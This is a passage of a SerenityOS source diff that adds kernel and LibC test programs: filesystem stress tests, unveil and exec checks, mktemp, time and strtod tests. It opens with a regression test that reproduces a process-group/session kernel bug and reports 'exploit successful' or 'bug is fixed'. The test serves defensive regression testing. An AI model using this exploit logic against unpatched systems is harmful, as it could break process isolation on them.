sleep_steps(18);
|
||||
|
||||
// pa_2 never *does* anything.
|
||||
dbgln("PA2 dies from boredom.");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
static void run_pb1(void* pipe_fd_ptr)
|
||||
{
|
||||
// Time 4: PX forks into PB1
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 5: PB1 creates a new session (SB) and pgrp (PGB)
|
||||
dbgln("PB1 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
dbgln("PB1 calls setsid()");
|
||||
int rc = setsid();
|
||||
if (rc < 0) {
|
||||
perror("setsid (PB)");
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
dbgln("PB1 did setsid() -> PGB={}, SB={}, yay!", rc, getsid(0));
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 6: PB1 forks into PB2
|
||||
dbgln("PB1 forks into PB2");
|
||||
fork_into(run_pb2, pipe_fd_ptr);
|
||||
sleep_steps(1);
|
||||
|
||||
// Time 7: PB1 dies (PGB now has no leader)
|
||||
dbgln("PB1 dies. You should see a 'Reaped unparented process' "
|
||||
"message with my ID next, OR THIS TEST IS MEANINGLESS "
|
||||
"(see fork_into()).");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
static void simulate_sid_from_pgid(pid_t pgid)
|
||||
{
|
||||
pid_t rc = getpgid(pgid); // Same confusion as in the Kernel
|
||||
int saved_errno = errno;
|
||||
if (rc < 0 && saved_errno == ESRCH) {
|
||||
dbgln("The old get_sid_from_pgid({}) would return -1", pgid);
|
||||
} else if (rc >= 0) {
|
||||
dbgln("FAIL: Process {} still exists?! PGID is {}.", pgid, rc);
|
||||
} else {
|
||||
perror("pgid (probably fail)");
|
||||
}
|
||||
}
|
||||
|
||||
static void run_pb2(void* pipe_fd_ptr)
|
||||
{
|
||||
// Time 6: PB1 forks into PB2
|
||||
sleep_steps(2);
|
||||
|
||||
// Time 8: PB2 calls pgrp(0, PGA)
|
||||
// Note: PB2 writes "1" (exploit successful) or "0" (bug is fixed) to a pipe
|
||||
dbgln("PB2 starts with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
dbgln("PB2 calls pgrp(0, PGA)");
|
||||
int pga = getpid() - 3;
|
||||
dbgln("PB2: Actually, what is PGA? I guess it's {}?", pga);
|
||||
simulate_sid_from_pgid(pga);
|
||||
int rc = setpgid(0, pga);
|
||||
unsigned char to_write = 123;
|
||||
if (rc == 0) {
|
||||
dbgln("PB2: setgpid SUCCESSFUL! CHANGED PGROUP!");
|
||||
to_write = 1;
|
||||
} else {
|
||||
VERIFY(rc == -1);
|
||||
switch (errno) {
|
||||
case EACCES:
|
||||
dbgln("PB2: Failed with EACCES. Huh?!");
|
||||
to_write = 101;
|
||||
break;
|
||||
case EINVAL:
|
||||
dbgln("PB2: Failed with EINVAL. Huh?!");
|
||||
to_write = 102;
|
||||
break;
|
||||
case ESRCH:
|
||||
dbgln("PB2: Failed with ESRCH. Huh?!");
|
||||
to_write = 103;
|
||||
break;
|
||||
case EPERM:
|
||||
dbgln("PB2: Failed with EPERM. Aww, no exploit today :^)");
|
||||
to_write = 0;
|
||||
break;
|
||||
default:
|
||||
dbgln("PB2: Failed with errno={}?!", errno);
|
||||
perror("setpgid");
|
||||
to_write = 104;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
dbgln("PB2 ends with SID={}, PGID={}, PID={}.", getsid(0), getpgid(0), getpid());
|
||||
int* pipe_fd = static_cast<int*>(pipe_fd_ptr);
|
||||
VERIFY(*pipe_fd);
|
||||
rc = write(*pipe_fd, &to_write, 1);
|
||||
if (rc != 1) {
|
||||
dbgln("Wrote only {} bytes instead of 1?!", rc);
|
||||
exit(1);
|
||||
}
|
||||
exit(0);
|
||||
}
|
48
Tests/Kernel/stress-truncate.cpp
Normal file
48
Tests/Kernel/stress-truncate.cpp
Normal file
|
@ -0,0 +1,48 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Random.h>
|
||||
#include <LibCore/ArgsParser.h>
|
||||
#include <fcntl.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
const char* target = nullptr;
|
||||
int max_file_size = 1024 * 1024;
|
||||
int count = 1024;
|
||||
|
||||
Core::ArgsParser args_parser;
|
||||
args_parser.add_option(max_file_size, "Maximum file size to generate", "max-size", 's', "size");
|
||||
args_parser.add_option(count, "Number of truncations to run", "number", 'n', "number");
|
||||
args_parser.add_positional_argument(target, "Target file path", "target");
|
||||
args_parser.parse(argc, argv);
|
||||
|
||||
int fd = creat(target, 0666);
|
||||
if (fd < 0) {
|
||||
perror("Couldn't create target file");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
for (int i = 0; i < count; i++) {
|
||||
auto new_file_size = AK::get_random<uint64_t>() % (max_file_size + 1);
|
||||
printf("(%d/%d)\tTruncating to %" PRIu64 " bytes...\n", i + 1, count, new_file_size);
|
||||
if (truncate(target, new_file_size) < 0) {
|
||||
perror("Couldn't truncate target file");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
if (unlink(target) < 0) {
|
||||
perror("Couldn't remove target file");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
155
Tests/Kernel/stress-writeread.cpp
Normal file
155
Tests/Kernel/stress-writeread.cpp
Normal file
|
@ -0,0 +1,155 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Random.h>
|
||||
#include <LibCore/ArgsParser.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <inttypes.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
bool verify_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer);
|
||||
bool write_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer);
|
||||
|
||||
bool verify_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer)
|
||||
{
|
||||
auto offset = block * buffer.size();
|
||||
auto rs = lseek(fd, offset, SEEK_SET);
|
||||
if (rs < 0) {
|
||||
fprintf(stderr, "Couldn't seek to block %" PRIi64 " (offset %" PRIi64 ") while verifying: %s\n", block, offset, strerror(errno));
|
||||
return false;
|
||||
}
|
||||
auto rw = read(fd, buffer.data(), buffer.size());
|
||||
if (rw != static_cast<int>(buffer.size())) {
|
||||
fprintf(stderr, "Failure to read block %" PRIi64 ": %s\n", block, strerror(errno));
|
||||
return false;
|
||||
}
|
||||
srand((seed + 1) * (block + 1));
|
||||
for (size_t i = 0; i < buffer.size(); i++) {
|
||||
if (buffer[i] != rand() % 256) {
|
||||
fprintf(stderr, "Discrepancy detected at block %" PRIi64 " offset %zd\n", block, i);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool write_block(int fd, int seed, off_t block, AK::ByteBuffer& buffer)
|
||||
{
|
||||
auto offset = block * buffer.size();
|
||||
auto rs = lseek(fd, offset, SEEK_SET);
|
||||
if (rs < 0) {
|
||||
fprintf(stderr, "Couldn't seek to block %" PRIi64 " (offset %" PRIi64 ") while verifying: %s\n", block, offset, strerror(errno));
|
||||
return false;
|
||||
}
|
||||
srand((seed + 1) * (block + 1));
|
||||
for (size_t i = 0; i < buffer.size(); i++)
|
||||
buffer[i] = rand();
|
||||
auto rw = write(fd, buffer.data(), buffer.size());
|
||||
if (rw != static_cast<int>(buffer.size())) {
|
||||
fprintf(stderr, "Failure to write block %" PRIi64 ": %s\n", block, strerror(errno));
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
const char* target = nullptr;
|
||||
int min_block_offset = 0;
|
||||
int block_length = 2048;
|
||||
int block_size = 512;
|
||||
int count = 1024;
|
||||
int rng_seed = 0;
|
||||
bool paranoid_mode = false;
|
||||
bool random_mode = false;
|
||||
bool stop_mode = false;
|
||||
bool uninitialized_mode = false;
|
||||
|
||||
Core::ArgsParser args_parser;
|
||||
args_parser.add_option(min_block_offset, "Minimum block offset to consider", "min-offset", 'o', "size");
|
||||
args_parser.add_option(block_length, "Number of blocks to consider", "length", 's', "size");
|
||||
args_parser.add_option(block_size, "Block size", "block-size", 'b', "size");
|
||||
args_parser.add_option(count, "Number of write/read cycles to run", "number", 'n', "number");
|
||||
args_parser.add_option(rng_seed, "Random number generator seed", "seed", 'S', "number");
|
||||
args_parser.add_option(paranoid_mode, "Check entire range for consistency after each write", "paranoid", 'p');
|
||||
args_parser.add_option(random_mode, "Write one block inside range at random", "random", 'r');
|
||||
args_parser.add_option(stop_mode, "Stop after first error", "abort-on-error", 'a');
|
||||
args_parser.add_option(uninitialized_mode, "Don't pre-initialize block range", "uninitialized", 'u');
|
||||
args_parser.add_positional_argument(target, "Target device/file path", "target");
|
||||
args_parser.parse(argc, argv);
|
||||
|
||||
auto buffer = AK::ByteBuffer::create_zeroed(block_size);
|
||||
|
||||
int fd = open(target, O_CREAT | O_RDWR, 0666);
|
||||
if (fd < 0) {
|
||||
perror("Couldn't create target file");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
if (!uninitialized_mode) {
|
||||
int old_percent = -100;
|
||||
for (int i = min_block_offset; i < min_block_offset + block_length; i++) {
|
||||
int percent;
|
||||
if (block_length <= 1)
|
||||
percent = 100;
|
||||
else
|
||||
percent = 100 * (i - min_block_offset) / (block_length - 1);
|
||||
if (old_percent != percent) {
|
||||
printf("Pre-initializing entire block range (%3d%%)...\n", percent);
|
||||
old_percent = percent;
|
||||
}
|
||||
|
||||
if (!write_block(fd, rng_seed, i, buffer))
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
int r = EXIT_SUCCESS;
|
||||
for (int i = 0; i < count; i++) {
|
||||
printf("(%d/%d)\tPass %d...\n", i + 1, count, i + 1);
|
||||
|
||||
for (int j = min_block_offset; j < min_block_offset + block_length; j++) {
|
||||
off_t block;
|
||||
if (random_mode)
|
||||
while ((block = AK::get_random<off_t>()) < 0)
|
||||
;
|
||||
else
|
||||
block = j;
|
||||
block = min_block_offset + block % block_length;
|
||||
|
||||
if (paranoid_mode) {
|
||||
for (int k = min_block_offset; j < min_block_offset + block_length; j++) {
|
||||
if (!verify_block(fd, rng_seed, k, buffer)) {
|
||||
if (stop_mode)
|
||||
return EXIT_FAILURE;
|
||||
else
|
||||
r = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if (!verify_block(fd, rng_seed, block, buffer)) {
|
||||
if (stop_mode)
|
||||
return EXIT_FAILURE;
|
||||
else
|
||||
r = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
if (!write_block(fd, rng_seed, block, buffer)) {
|
||||
if (stop_mode)
|
||||
return EXIT_FAILURE;
|
||||
else
|
||||
r = EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
close(fd);
|
||||
return r;
|
||||
}
|
41
Tests/Kernel/uaf-close-while-blocked-in-read.cpp
Normal file
41
Tests/Kernel/uaf-close-while-blocked-in-read.cpp
Normal file
|
@ -0,0 +1,41 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int pipefds[2];
|
||||
|
||||
int main(int, char**)
|
||||
{
|
||||
pipe(pipefds);
|
||||
|
||||
pthread_t tid;
|
||||
pthread_create(
|
||||
&tid, nullptr, [](void*) -> void* {
|
||||
sleep(1);
|
||||
printf("Second thread closing pipes!\n");
|
||||
close(pipefds[0]);
|
||||
close(pipefds[1]);
|
||||
pthread_exit(nullptr);
|
||||
return nullptr;
|
||||
},
|
||||
nullptr);
|
||||
|
||||
printf("First thread doing a blocking read from pipe...\n");
|
||||
char buffer[16];
|
||||
ssize_t nread = read(pipefds[0], buffer, sizeof(buffer));
|
||||
if (nread != 0) {
|
||||
printf("FAIL, read %zd bytes from pipe\n", nread);
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("PASS\n");
|
||||
|
||||
return 0;
|
||||
}
|
76
Tests/Kernel/unveil-symlinks.cpp
Normal file
76
Tests/Kernel/unveil-symlinks.cpp
Normal file
|
@ -0,0 +1,76 @@
|
|||
/*
|
||||
* Copyright (c) 2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main()
|
||||
{
|
||||
rmdir("/tmp/foo/1");
|
||||
rmdir("/tmp/foo");
|
||||
unlink("/tmp/bar");
|
||||
|
||||
if (mkdir("/tmp/foo", 0755) < 0) {
|
||||
perror("mkdir");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (mkdir("/tmp/foo/1", 0755) < 0) {
|
||||
perror("mkdir");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (symlink("/tmp/foo", "/tmp/bar")) {
|
||||
perror("symlink");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (unveil("/tmp/foo", "r") < 0) {
|
||||
perror("unveil");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (unveil(nullptr, nullptr) < 0) {
|
||||
perror("unveil");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int fd = open("/tmp/foo/1", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
fd = open("/tmp/bar/1", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
fprintf(stderr, "FAIL, symlink was not unveiled\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (chdir("/tmp")) {
|
||||
perror("chdir");
|
||||
return 1;
|
||||
}
|
||||
|
||||
fd = open("./foo/1", O_RDONLY);
|
||||
if (fd < 0) {
|
||||
perror("open");
|
||||
return 1;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
fd = open("./bar/1", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
fprintf(stderr, "FAIL, symlink was not unveiled\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
23
Tests/LibC/CMakeLists.txt
Normal file
23
Tests/LibC/CMakeLists.txt
Normal file
|
@ -0,0 +1,23 @@
|
|||
set(TEST_SOURCES
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/snprintf-correctness.cpp
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/strlcpy-correctness.cpp
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/TestLibCTime.cpp
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/TestLibCMkTemp.cpp
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/TestLibCExec.cpp
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/TestLibCDirEnt.cpp
|
||||
)
|
||||
|
||||
file(GLOB CMD_SOURCES CONFIGURE_DEPENDS "*.cpp")
|
||||
list(REMOVE_ITEM CMD_SOURCES ${TEST_SOURCES})
|
||||
|
||||
# FIXME: These tests do not use LibTest
|
||||
foreach(CMD_SRC ${CMD_SOURCES})
|
||||
get_filename_component(CMD_NAME ${CMD_SRC} NAME_WE)
|
||||
add_executable(${CMD_NAME} ${CMD_SRC})
|
||||
target_link_libraries(${CMD_NAME} LibCore)
|
||||
install(TARGETS ${CMD_NAME} RUNTIME DESTINATION usr/Tests/LibC)
|
||||
endforeach()
|
||||
|
||||
foreach(source ${TEST_SOURCES})
|
||||
serenity_test(${source} LibC)
|
||||
endforeach()
|
27
Tests/LibC/TestLibCDirEnt.cpp
Normal file
27
Tests/LibC/TestLibCDirEnt.cpp
Normal file
|
@ -0,0 +1,27 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <dirent.h>
|
||||
#include <string.h>
|
||||
|
||||
TEST_CASE(scandir_basic_scenario)
|
||||
{
|
||||
struct dirent** namelist = nullptr;
|
||||
auto entries = scandir("/etc", &namelist, nullptr, nullptr);
|
||||
EXPECT(entries > 0);
|
||||
EXPECT_NE(namelist, nullptr);
|
||||
|
||||
bool found_passwd = false;
|
||||
for (auto i = 0; i < entries; i++) {
|
||||
if (strcmp(namelist[i]->d_name, "passwd") == 0) {
|
||||
found_passwd = true;
|
||||
}
|
||||
free(namelist[i]);
|
||||
}
|
||||
EXPECT(found_passwd);
|
||||
free(namelist);
|
||||
}
|
25
Tests/LibC/TestLibCExec.cpp
Normal file
25
Tests/LibC/TestLibCExec.cpp
Normal file
|
@ -0,0 +1,25 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(exec_should_not_search_current_directory)
|
||||
{
|
||||
int fd = open("hax", O_CREAT | O_RDWR, 0755);
|
||||
ftruncate(fd, 0);
|
||||
close(fd);
|
||||
|
||||
int rc = execlp("hax", "hax", nullptr);
|
||||
int saved_errno = errno;
|
||||
perror("execlp");
|
||||
unlink("hax");
|
||||
|
||||
EXPECT_EQ(rc, -1);
|
||||
EXPECT_NE(saved_errno, ENOEXEC);
|
||||
}
|
117
Tests/LibC/TestLibCMkTemp.cpp
Normal file
117
Tests/LibC/TestLibCMkTemp.cpp
Normal file
|
@ -0,0 +1,117 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/String.h>
|
||||
#include <LibCore/File.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <fcntl.h>
|
||||
#include <mman.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_mktemp_unique_filename)
|
||||
{
|
||||
u8* ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
EXPECT(ptr != MAP_FAILED);
|
||||
|
||||
if (fork() == 0) {
|
||||
char path[] = "/tmp/test.mktemp.XXXXXX";
|
||||
auto temp_path = String::formatted("{}", mktemp(path));
|
||||
EXPECT(temp_path.characters());
|
||||
unlink(path);
|
||||
|
||||
memcpy(&ptr[0], temp_path.characters(), temp_path.length());
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
} else {
|
||||
wait(NULL);
|
||||
|
||||
auto path1 = String::formatted("{}", reinterpret_cast<const char*>(ptr));
|
||||
|
||||
char path[] = "/tmp/test.mktemp.XXXXXX";
|
||||
auto path2 = String::formatted("{}", mktemp(path));
|
||||
EXPECT(path2.characters());
|
||||
unlink(path);
|
||||
|
||||
EXPECT_NE(path1, path2);
|
||||
}
|
||||
|
||||
munmap(ptr, sizeof(*ptr));
|
||||
}
|
||||
|
||||
TEST_CASE(test_mkdtemp_unique_filename)
|
||||
{
|
||||
u8* ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
EXPECT_NE(ptr, MAP_FAILED);
|
||||
|
||||
if (fork() == 0) {
|
||||
char path[] = "/tmp/test.mkdtemp.XXXXXX";
|
||||
auto temp_path = String::formatted("{}", mkdtemp(path));
|
||||
EXPECT(temp_path.characters());
|
||||
rmdir(path);
|
||||
|
||||
memcpy(&ptr[0], temp_path.characters(), temp_path.length());
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
} else {
|
||||
wait(NULL);
|
||||
|
||||
auto path1 = String::formatted("{}", reinterpret_cast<const char*>(ptr));
|
||||
|
||||
char path[] = "/tmp/test.mkdtemp.XXXXXX";
|
||||
auto path2 = String::formatted("{}", mkdtemp(path));
|
||||
EXPECT(path2.characters());
|
||||
rmdir(path);
|
||||
|
||||
EXPECT_NE(path1, path2);
|
||||
}
|
||||
|
||||
munmap(ptr, sizeof(*ptr));
|
||||
}
|
||||
|
||||
TEST_CASE(test_mkstemp_unique_filename)
|
||||
{
|
||||
u8* ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
EXPECT_NE(ptr, MAP_FAILED);
|
||||
|
||||
if (fork() == 0) {
|
||||
char path[] = "/tmp/test.mkstemp.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT_NE(fd, -1);
|
||||
|
||||
auto temp_path = Core::File::read_link(String::formatted("/proc/{}/fd/{}", getpid(), fd));
|
||||
EXPECT(temp_path.characters());
|
||||
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
memcpy(&ptr[0], temp_path.characters(), temp_path.length());
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
} else {
|
||||
wait(NULL);
|
||||
|
||||
auto path1 = String::formatted("{}", reinterpret_cast<const char*>(ptr));
|
||||
|
||||
char path[] = "/tmp/test.mkstemp.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT(fd != -1);
|
||||
|
||||
auto path2 = Core::File::read_link(String::formatted("/proc/{}/fd/{}", getpid(), fd));
|
||||
EXPECT(path2.characters());
|
||||
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
EXPECT_NE(path1, path2);
|
||||
}
|
||||
|
||||
munmap(ptr, sizeof(*ptr));
|
||||
}
|
43
Tests/LibC/TestLibCTime.cpp
Normal file
43
Tests/LibC/TestLibCTime.cpp
Normal file
|
@ -0,0 +1,43 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/StringView.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <time.h>
|
||||
|
||||
const auto expected_epoch = "Thu Jan 1 00:00:00 1970\n"sv;
|
||||
|
||||
TEST_CASE(asctime)
|
||||
{
|
||||
time_t epoch = 0;
|
||||
auto result = asctime(localtime(&epoch));
|
||||
EXPECT_EQ(expected_epoch, StringView(result));
|
||||
}
|
||||
|
||||
TEST_CASE(asctime_r)
|
||||
{
|
||||
char buffer[26] {};
|
||||
time_t epoch = 0;
|
||||
auto result = asctime_r(localtime(&epoch), buffer);
|
||||
EXPECT_EQ(expected_epoch, StringView(result));
|
||||
}
|
||||
|
||||
TEST_CASE(ctime)
|
||||
{
|
||||
time_t epoch = 0;
|
||||
auto result = ctime(&epoch);
|
||||
|
||||
EXPECT_EQ(expected_epoch, StringView(result));
|
||||
}
|
||||
|
||||
TEST_CASE(ctime_r)
|
||||
{
|
||||
char buffer[26] {};
|
||||
time_t epoch = 0;
|
||||
auto result = ctime_r(&epoch, buffer);
|
||||
|
||||
EXPECT_EQ(expected_epoch, StringView(result));
|
||||
}
|
367
Tests/LibC/accuracy-strtod.cpp
Normal file
367
Tests/LibC/accuracy-strtod.cpp
Normal file
|
@ -0,0 +1,367 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <assert.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
|
||||
typedef char assert_size_t_is_int[sizeof(size_t) == 4 ? 1 : -1];
|
||||
|
||||
static const char* TEXT_ERROR = "\x1b[01;35m";
|
||||
static const char* TEXT_WRONG = "\x1b[01;31m";
|
||||
static const char* TEXT_OFBY1 = "\x1b[01;97m";
|
||||
static const char* TEXT_RESET = "\x1b[0m";
|
||||
static const long long LENIENCY = 8;
|
||||
|
||||
struct Testcase {
|
||||
const char* test_name;
|
||||
int should_consume;
|
||||
const char* hex;
|
||||
const char* test_string;
|
||||
};
|
||||
|
||||
static Testcase TESTCASES[] = {
|
||||
// What I came up with on my own:
|
||||
{ "BW00", 0, "0000000000000000", ".." },
|
||||
{ "BW01", 2, "3ff0000000000000", "1..0" },
|
||||
{ "BW02", 1, "3ff0000000000000", "1" },
|
||||
{ "BW03", 2, "0000000000000000", ".0" },
|
||||
{ "BW04", 2, "0000000000000000", "0." },
|
||||
{ "BW05", 2, "0000000000000000", "0.." },
|
||||
// Second 'e' overwrites first exponent
|
||||
{ "BW06", 3, "40af400000000000", "4e3e4" },
|
||||
// Minus sign in exponent is ignored (`atof` only)
|
||||
{ "BW07", 4, "3f747ae147ae147b", "5e-3" },
|
||||
// "e" is ignored if followed by only zeros
|
||||
{ "BW08", 3, "401c000000000000", "7e0" },
|
||||
// Exponent overflow:
|
||||
{ "BW09", -1, "0000000000000000", "1e-4294967296" },
|
||||
// Excessive time use(!):
|
||||
{ "BW10", -1, "0000000000000000", "1e-999999999" },
|
||||
// Excessively large exponent (>64 bits):
|
||||
{ "BW10", -1, "0000000000000000", "1e-9999999999999999999999" },
|
||||
|
||||
// Bugs I nearly introduced
|
||||
{ "BWN01", 2, "3ff0000000000000", "1.-2" },
|
||||
{ "BWN02", 2, "3ff0000000000000", "1. 2" },
|
||||
{ "BWN03", 0, "0000000000000000", "++2" },
|
||||
{ "BWN04", 1, "0000000000000000", "0b101" },
|
||||
{ "BWN05", 3, "0000000000000000", " 0b101" },
|
||||
{ "BWN06", 1, "0000000000000000", "0o123" },
|
||||
{ "BWN07", 1, "0000000000000000", "0y2" },
|
||||
{ "BWN08", 1, "3ff0000000000000", "1e" },
|
||||
{ "BWN09", 1, "3ff0000000000000", "1e-" },
|
||||
{ "BWN10", 6, "4034000000000000", "2e0001" },
|
||||
{ "BWN11", 6, "41ddcd6500000000", "2e0009" },
|
||||
{ "BWN12", 1, "0000000000000000", "0d1" },
|
||||
{ "BWN13", -1, "7ff0000000000000", "184467440737095516151234567890e2147483639" },
|
||||
{ "BWN14", -1, "0000000000000000", ".1234567890e-2147483639" },
|
||||
{ "BWN15", -1, "8000000000000000", "-1e-9999" },
|
||||
{ "BWN16", -1, "c3389e56ee5e7a58", "-6929495644600919.5" },
|
||||
{ "BWN17", -1, "c3389e56ee5e7a57", "-6929495644600919" },
|
||||
{ "BWN18", -1, "630a2b939cbca17f", "12345678901234567890e150" },
|
||||
{ "BWN19", -1, "24c186a8a3f159df", "12345678901234567890e-150" },
|
||||
|
||||
// From the Serenity GitHub tracker:
|
||||
// https://github.com/SerenityOS/serenity/issues/1979
|
||||
{ "SR1", -1, "4014000000000001", "5.000000000000001" },
|
||||
{ "SR2", -1, "4014000000000000", "5.0000000000000001" },
|
||||
{ "SR3", -1, "3ff0000000000000", "1.0000000000000000000000000000001" },
|
||||
{ "SR4", -1, "3ff0000000000000", "1.00000000000000000000000000000001" },
|
||||
{ "SR5", -1, "3ff1f9add37c1216", "1.12345678912345678912345678912345" },
|
||||
{ "SR6", -1, "3ff1f9add37c1216", "1.123456789123456789123456789123456789123456789" },
|
||||
|
||||
// Inspired from Abraham Hrvoje's "negativeFormattingTests":
|
||||
// https://github.com/ahrvoje/numerics/blob/master/strtod/strtod_tests.toml
|
||||
// Note that my interpretation is slightly stricter than what Abraham Hrvoje wrote.
|
||||
{ "AHN01", 3, "7ff0000000000000", "inf1" },
|
||||
{ "AHN02", 3, "7ff0000000000000", "inf+" },
|
||||
{ "AHN03", 0, "0000000000000000", ".E" },
|
||||
{ "AHN04", 3, "3ff0000000000000", "1.0e" },
|
||||
{ "AHN05", 4, "400399999999999a", "2.45+e+3" },
|
||||
{ "AHN06", 2, "4037000000000000", "23e.23" },
|
||||
{ "AHN07", 0, "0000000000000000", "e9" },
|
||||
{ "AHN08", 0, "0000000000000000", "+e" },
|
||||
{ "AHN09", 0, "0000000000000000", "e+" },
|
||||
{ "AHN10", 0, "0000000000000000", "." },
|
||||
{ "AHN11", 0, "0000000000000000", "e" },
|
||||
{ "AHN12", 2, "3fe6666666666666", ".7+" },
|
||||
{ "AHN13", 3, "3fcae147ae147ae1", ".21e" },
|
||||
{ "AHN14", 0, "0000000000000000", "+" },
|
||||
{ "AHN15", 0, "0000000000000000", "" },
|
||||
{ "AHN16", 3, "7ff0000000000000", "infe" },
|
||||
{ "AHN17", 3, "7ff8000000000000", "nan(err" },
|
||||
{ "AHN18", 3, "7ff8000000000000", "nan)" },
|
||||
{ "AHN19", 3, "7ff8000000000000", "NAN(test_)_)" },
|
||||
{ "AHN20", 3, "7ff8000000000000", "nan0" },
|
||||
{ "AHN21", 0, "0000000000000000", "-.e+" },
|
||||
